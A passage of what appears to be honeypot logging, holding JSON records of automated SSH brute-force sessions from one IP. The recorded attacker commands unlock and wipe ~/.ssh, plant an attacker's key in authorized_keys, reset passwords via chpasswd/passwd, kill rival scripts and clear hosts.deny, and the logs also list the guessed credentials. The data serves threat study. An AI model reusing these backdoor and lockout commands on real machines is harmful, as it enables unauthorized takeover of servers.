node\n^C"},{"seq":23,"at":"2026-08-27T12:29:32.648180+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:29:33.053564+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:29:33.319135+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:29:34.019214+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:29:34.283485+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:29:34.536588+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:29:34.801865+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:29:36.660255+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:29:36.926442+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:29:37.800149+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345abc","method":"password","accepted":true,"tier":"other"}]} {"id":"6f5b8ece-b33e-4d78-b9da-05147aaf9f4f","name":"plush-smooth-osprey","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":53236,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:29:21.716141+00:00","ended_at":"2026-08-27T12:29:22.325099+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dd6bfb18-9673-4919-8fb6-a713144fa732","name":"scarlet-noble-opossum","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":53224,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:29:19.654254+00:00","ended_at":"2026-08-27T12:29:21.183880+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1047406f-7e04-4b83-9acb-2aca205290c8","name":"regal-polar-gecko","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51166,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":266,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:27:37.812022+00:00","ended_at":"2026-08-27T12:27:39.366564+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:27:20.408389+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:27:20.672951+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:27:24.515547+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:27:24.785001+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:27:25.051223+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zdj3YVHqbhzk\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:27:25.315680+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:27:25.581459+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:27:26.127017+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:27:26.392389+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:27:27.770557+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:27:28.036924+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:27:29.036110+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:27:29.302491+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:27:29.690707+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:27:29.955923+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:27:30.571969+00:00","kind":"output","latency_ms":null,"data":" 12:27:30 up 7 days, 9:17, 0 user, load average: 0.08, 0.09, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:27:30.839928+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:27:31.093420+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:27:31.360889+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:27:31.946997+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:27:32.212354+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:27:32.885729+00:00","kind":"output","latency_ms":null,"data":"top - 12:27:32 up 7 days, 9:17, 0 user, load average: 0.08, 0.09, 0.06\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:27:33.152061+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:27:33.863767+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:27:34.130267+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:27:35.023325+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:27:35.295092+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:27:35.991837+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:27:36.261889+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:27:37.547105+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:27:37.812828+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:27:39.290165+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Lai123456","method":"password","accepted":true,"tier":"other"}]} {"id":"7f977971-69f4-4ae9-884a-f8be46307eba","name":"drifting-forlorn-teal","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":51178,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:27:22.943577+00:00","ended_at":"2026-08-27T12:27:24.437268+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c63f30a5-589e-464b-a6b8-d2683c8bdc01","name":"hushed-crystal-owl","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":51174,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:27:21.268757+00:00","ended_at":"2026-08-27T12:27:22.426865+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6164e871-e416-451f-b1d6-b7e6271cd5e2","name":"jaunty-eager-lark","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":41570,"username":"alex","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":262,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:25:35.353754+00:00","ended_at":"2026-08-27T12:25:37.508863+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T12:25:18.484993+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:25:18.755698+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:25:22.310779+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:25:23.021548+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:25:23.283873+00:00","kind":"input","latency_ms":null,"data":"echo -e \"alex12345\\n9WXKF78sxZD2\\n9WXKF78sxZD2\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:25:23.545082+00:00","kind":"input","latency_ms":null,"data":"echo \"alex12345\\n9WXKF78sxZD2\\n9WXKF78sxZD2\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:25:23.804015+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:25:24.698970+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:25:24.959967+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:25:25.833136+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:25:26.094880+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:25:27.108266+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:25:27.371219+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:25:27.923747+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:25:28.183802+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:25:28.685162+00:00","kind":"output","latency_ms":null,"data":" 12:25:28 up 7 days, 9:15, 0 user, load average: 0.13, 0.15, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:25:28.945086+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:25:29.606531+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:25:29.866792+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:25:30.443756+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:25:30.707634+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:25:31.290272+00:00","kind":"output","latency_ms":null,"data":"top - 12:25:31 up 7 days, 9:15, 0 user, load average: 0.13, 0.15, 0.13\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:25:31.555483+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:25:32.236091+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:25:32.498571+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:25:33.331279+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:25:33.593595+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:25:33.867612+00:00","kind":"output","latency_ms":null,"data":"alex"},{"seq":29,"at":"2026-08-27T12:25:34.136235+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:25:35.093129+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:25:35.354926+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:25:37.433150+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"alex","password":"alex12345","method":"password","accepted":true,"tier":"other"}]} {"id":"1af447ce-fdd1-4518-937f-e586c76cb910","name":"lucid-early-okapi","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":41584,"username":"alex","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:25:20.895177+00:00","ended_at":"2026-08-27T12:25:22.237623+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"alex","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"488a5bfa-5307-4805-9f5a-f9fff9d70d22","name":"sturdy-windswept-cardinal","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":41576,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:25:19.353158+00:00","ended_at":"2026-08-27T12:25:20.367589+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f11e200c-eb70-48ff-a8d6-cccf34ada516","name":"misty-rustic-muntjac","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":38258,"username":"frappe","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:23:34.967823+00:00","ended_at":"2026-08-27T12:23:36.194833+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2263,"events":[{"seq":1,"at":"2026-08-27T12:23:16.967598+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:23:17.233714+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:23:20.635706+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:23:21.222084+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:23:21.486078+00:00","kind":"input","latency_ms":null,"data":"echo -e \"P@ssw0rd123\\nKECsnlCrVGIK\\nKECsnlCrVGIK\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:23:21.747137+00:00","kind":"input","latency_ms":null,"data":"echo \"P@ssw0rd123\\nKECsnlCrVGIK\\nKECsnlCrVGIK\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:23:22.007923+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:23:22.849475+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:23:23.112842+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:23:24.374226+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:23:24.638910+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:23:26.038379+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:23:26.303092+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:23:27.166456+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:23:27.430125+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:23:27.729719+00:00","kind":"output","latency_ms":null,"data":" 12:23:27 up 7 days, 9:13, 0 user, load average: 0.23, 0.28, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:23:27.993876+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:23:28.869707+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:23:29.131806+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:23:29.812460+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:23:30.073313+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:23:30.728183+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:30 up 7 days, 9:13, 0 user, load average: 0.23, 0.28, 0.24\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:23:30.991438+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:23:31.571244+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:23:31.833353+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:23:32.606600+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:23:32.869654+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:23:33.546954+00:00","kind":"output","latency_ms":null,"data":"frappe"},{"seq":29,"at":"2026-08-27T12:23:33.809645+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:23:34.703314+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:23:34.968800+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:23:36.119650+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"frappe","password":"P@ssw0rd123","method":"password","accepted":true,"tier":"other"}]} {"id":"bcbc8593-4abc-4ccc-a817-5b52dd5fe132","name":"tawny-merry-chamois","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":38270,"username":"frappe","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:23:19.834102+00:00","ended_at":"2026-08-27T12:23:20.562100+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"frappe","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b63a05e6-9534-42b7-9ae1-ea6d67cc92e9","name":"jaunty-woven-oxpecker","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":38266,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:23:17.840015+00:00","ended_at":"2026-08-27T12:23:19.306721+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"cb1cf88d-956b-478c-8b56-58bf2ccaa813","name":"arctic-distant-ouzel","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":60522,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:21:33.027216+00:00","ended_at":"2026-08-27T12:21:34.490931+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T12:21:14.902899+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:21:15.162742+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:21:18.872629+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:21:19.697276+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:21:19.961785+00:00","kind":"input","latency_ms":null,"data":"echo -e \"qwer1234\\nlnga6z6timMs\\nlnga6z6timMs\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:21:20.223746+00:00","kind":"input","latency_ms":null,"data":"echo \"qwer1234\\nlnga6z6timMs\\nlnga6z6timMs\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:21:20.483314+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:21:21.095222+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:21:21.356027+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:21:22.551008+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:21:22.845666+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 